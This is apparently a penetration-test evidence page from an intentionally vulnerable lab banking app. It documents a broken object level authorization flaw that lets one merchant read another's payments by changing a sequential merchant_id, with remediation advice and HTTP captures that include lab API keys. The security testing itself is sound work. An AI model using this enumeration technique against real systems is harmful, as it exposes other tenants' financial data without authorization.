Test case 04 / 26FAIL
Broken Object Level Authorization - Merchant Payments - Payments By Merchant
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant
01 — Notes
Test notes
Vulnerability
[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant
Description
The /api/v1/payments/merchant_id/<merchant_id> endpoint returns a list of payments based on the merchant_id in the path without checking that the caller's API key actually belongs to that merchant. The check only confirms the API key is valid, not that the caller is entitled to the requested object.
Impact
Confidentiality (High): cross-tenant isolation violation. Any registered merchant can read another merchant's transactions simply by changing merchant_id, exposing competitors' sales data and transaction values. merchant_id is a sequential integer, so every tenant can be harvested systematically.
CWE
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP
A01:2021 - Broken Access Control
Scenario
Normal: VictimShop reads its own payment list using its own API key. Exploitation: EvilShop calls the same endpoint with VictimShop's merchant_id using EvilShop's API key -> HTTP 200 and VictimShop's 77.0 transaction is readable.
Endpoint
GET http://127.0.0.1:5001/api/v1/payments/merchant_id/<merchant_id>
Affected feature
Merchant payments (per-merchant transaction summary)
Remediation
- Ignore merchant_id from the path; derive the merchant from the API key that authenticates the request.
- If the parameter is still required, reject requests where merchant_id does not match the merchant owning the API key.
- Use random identifiers for merchants.
- Remove the debug_info block that reflects the caller's API key in the response.
Proof of concept
1) (Screenshot 1) NORMAL: VictimShop reads its own payments with its own API key -> succeeds.
2) (Screenshot 2) CIA IMPACT: EvilShop uses its own API key to read VictimShop's merchant_id -> HTTP 200, the 77.0 transaction belonging to another merchant is exposed.
View source note (English)
Vulnerability:
[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant
Description:
The /api/v1/payments/merchant_id/<merchant_id> endpoint returns a list of payments based on the merchant_id in the path without checking that the caller's API key actually belongs to that merchant. The check only confirms the API key is valid, not that the caller is entitled to the requested object.
Impact:
Confidentiality (High): cross-tenant isolation violation. Any registered merchant can read another merchant's transactions simply by changing merchant_id, exposing competitors' sales data and transaction values. merchant_id is a sequential integer, so every tenant can be harvested systematically.
CWE:
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP:
A01:2021 - Broken Access Control
Scenario:
Normal: VictimShop reads its own payment list using its own API key. Exploitation: EvilShop calls the same endpoint with VictimShop's merchant_id using EvilShop's API key -> HTTP 200 and VictimShop's 77.0 transaction is readable.
Endpoint:
GET http://127.0.0.1:5001/api/v1/payments/merchant_id/<merchant_id>
Affected Feature:
Merchant payments (per-merchant transaction summary)
Remediation:
- Ignore merchant_id from the path; derive the merchant from the API key that authenticates the request.
- If the parameter is still required, reject requests where merchant_id does not match the merchant owning the API key.
- Use random identifiers for merchants.
- Remove the debug_info block that reflects the caller's API key in the response.
POC:
1) (Screenshot 1) NORMAL: VictimShop reads its own payments with its own API key -> succeeds.
2) (Screenshot 2) CIA IMPACT: EvilShop uses its own API key to read VictimShop's merchant_id -> HTTP 200, the 77.0 transaction belonging to another merchant is exposed.
02 — Screenshots
Screenshots (2)
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
GET /api/v1/payments/merchant_id/3 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
X-Merchant-Api-Key: vk_b6be463f6999751d74c53b68865247ce565e003583579498f2537892bc13c69a
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 795
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:10 GMT
{
"debug_info": {
"looked_up_by_merchant": {
"api_key": "[REDACTED-LAB-VALUE]",
"auth_method": "api_key",
"created_at": "2026-09-30 03:02:10.036422",
"email": "[REDACTED-EMAIL]",
"id": 3,
"is_active": true,
"name": "None"
}
},
"merchant_id": 3,
"payments": [
{
"amount": 77.0,
"authorization_code": null,
"card_id": null,
"card_number": null,
"created_at": "2026-09-30 03:02:10.070155",
"currency": "USD",
"failure_reason": "invalid_card_number",
"id": 1,
"merchant_id": 3,
"merchant_name": "None",
"merchant_order_id": null,
"payment_status": "failed"
}
],
"status": "success"
}CAPTURE 02 / 2
GET /api/v1/payments/merchant_id/3 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
X-Merchant-Api-Key: vk_f69b0e3717c397d562c3d2a419895ef63413a5ba0636da66ac2039fbd70fd211
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 793
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:11 GMT
{
"debug_info": {
"looked_up_by_merchant": {
"api_key": "[REDACTED-LAB-VALUE]",
"auth_method": "api_key",
"created_at": "2026-09-30 03:02:10.043652",
"email": "[REDACTED-EMAIL]",
"id": 4,
"is_active": true,
"name": "None"
}
},
"merchant_id": 3,
"payments": [
{
"amount": 77.0,
"authorization_code": null,
"card_id": null,
"card_number": null,
"created_at": "2026-09-30 03:02:10.070155",
"currency": "USD",
"failure_reason": "invalid_card_number",
"id": 1,
"merchant_id": 3,
"merchant_name": "None",
"merchant_order_id": null,
"payment_status": "failed"
}
],
"status": "success"
}